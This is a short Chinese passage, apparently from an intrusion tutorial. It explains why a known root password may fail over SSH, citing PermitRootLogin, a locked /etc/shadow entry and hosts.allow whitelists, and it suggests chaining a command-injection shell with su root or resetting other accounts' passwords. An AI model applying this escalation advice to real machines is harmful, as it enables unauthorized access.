导致这种结果的原因很多,常见几类:管理员在 /etc/ssh/sshd_config 中将 PermitRootLogin 置为 no 以禁止 root 直登,或者,管理员在 /etc/shadow 文件的 root:!$6$rWDSG...Hsi1:15347:0:9999:7::: 中的哈希密码字段前增加了 ! 以锁定该账号,或者,管理员在 /etc/hosts.allow 中限定了可访问该机器的源 IP 白名单等等。没关系,长远来看,我们掌握了 root 密码,结合其他漏洞,也有很大几率入侵成功,如,该机器的 web 应用存在命令注入漏洞,基于此可以获得运行 web 容器的账号 apache 的shell,由于知道 root 密码,所以可 su root 获得 root 控制权;又如,系统只是禁止 root 登录,并未禁止其他账号登录,只要(通过其他漏洞)你已经掌握了该机器除 root 外的其他账号名,那么完全同时重置 root 和其他账号的密码,先登录其他账号再 su root 即可。入侵打的是组合拳,把思维发散开,终会有路。